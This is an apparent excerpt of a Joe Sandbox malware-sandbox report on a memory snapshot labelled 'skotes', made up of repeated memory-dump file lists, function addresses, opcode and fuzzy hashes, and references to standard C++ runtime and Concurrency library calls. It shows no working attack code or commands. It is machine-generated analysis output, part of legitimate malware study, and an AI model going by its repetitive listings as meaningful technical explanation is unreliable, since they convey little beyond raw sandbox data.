Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: ZN,mN
API String ID: 1423051803-1548509803
Opcode ID: 7fdae35930c657194bf97ab23d517e16f61cf3d83d3572a6146ffc40ba98f87f
Instruction ID: f515f3f36eee35476e95e6952f669b0a641fe15171a2cc60e4c43130183660c1
Opcode Fuzzy Hash: 7fdae35930c657194bf97ab23d517e16f61cf3d83d3572a6146ffc40ba98f87f
Instruction Fuzzy Hash: 4951D27260024AABEB215F66DC41EBB36A9DBC4758F15026BFE0497241EF38DC1186A8

Function 004DDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 004DDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 004DDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 004DDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 004DDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 004DDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 004DDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 004DDE74

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 4733e1560238efb02287c5863f9d59a376cce274587a4765bd5225095083ca8d
Instruction ID: 5e6e45788756bd4c90250b3920e61028d7eb1cd517a6034536ab11c5e5f709bd
Opcode Fuzzy Hash: 4733e1560238efb02287c5863f9d59a376cce274587a4765bd5225095083ca8d
Instruction Fuzzy Hash: 63419D30E046449ACF14FBA584657AE77A16F51708F1444AFE8456F3C3DB3C9E09CB6A

Function 004DE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 004DE7D7

Part of subcall function 004DE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 004DE577
Part of subcall function 004DE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 004DE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 004DE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 004DE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 004DE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 004DE879
Concurrency::location::_Assign.LIBCMT ref: 004DE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 004DE8B5

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: f7fcb92a1f6370cf82aaca2570b58f496f29887932700a5e16c3d61d00f2879d
Instruction ID: 5804ae79255182d8eb56a8a97583540e7c529e9b3f2321ed7ca17e46024d6cd4
Opcode Fuzzy Hash: f7fcb92a1f6370cf82aaca2570b58f496f29887932700a5e16c3d61d00f2879d
Instruction Fuzzy Hash: 63411939A00205DFCB05EF65C4A5BADB7B5FF48314F1480ABED499B382DB38A941CB95

Function 004C6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 004C6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 004C6F22
std::_Rethrow_future_exception.LIBCPMT ref: 004C6F32
__Mtx_unlock.LIBCPMT ref: 004C6FD5
__Mtx_unlock.LIBCPMT ref: 004C70DB
__Mtx_unlock.LIBCPMT ref: 004C7116

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 7fd749935a39fda3fb3abfbca54d95668540d2adfaf9527cf1998d586bd76f90
Instruction ID: 849ab2954c3d9e3ffc4e4bf54901c84bd3263f25be2f107c586bab2aec8bc968
Opcode Fuzzy Hash: 7fd749935a39fda3fb3abfbca54d95668540d2adfaf9527cf1998d586bd76f90
Instruction Fuzzy Hash: E3C1E278D042089BDB60DF65C945FABBBF4EF04314F04856FE81697782DB39A904CB65

Function 004D44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 004D4538
ListArray.LIBCONCRT ref: 004D456C
Hash.LIBCMT ref: 004D45D5
Hash.LIBCMT ref: 004D45E5

Part of subcall function 004D9C41: std::bad_exception::bad_exception.LIBCMT ref: 004D9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 004D474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004D47A4

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 3ca3c980ce3940319bc19867cefe9d64c4e7d1d5506980f97939ccd983d2cff9
Instruction ID: bfbb2efc6cc135168fbb4b2ef147300a0dc2a5c28baa06a0d9350b18a2298e2e
Opcode Fuzzy Hash: 3ca3c980ce3940319bc19867cefe9d64c4e7d1d5506980f97939ccd983d2cff9
Instruction Fuzzy Hash: 89819CB0A11A52BBD348DF75C851BD9FAA8BF49704F10421FE428D7381DBB8A624CBD5

Function 004CECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 004CECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 004CED17

Part of subcall function 004CF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 004CF3FA

__alloca_probe_16.LIBCMT ref: 004CED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 004CED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 004CEDC6
__freea.LIBCMT ref: 004CEDEC

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
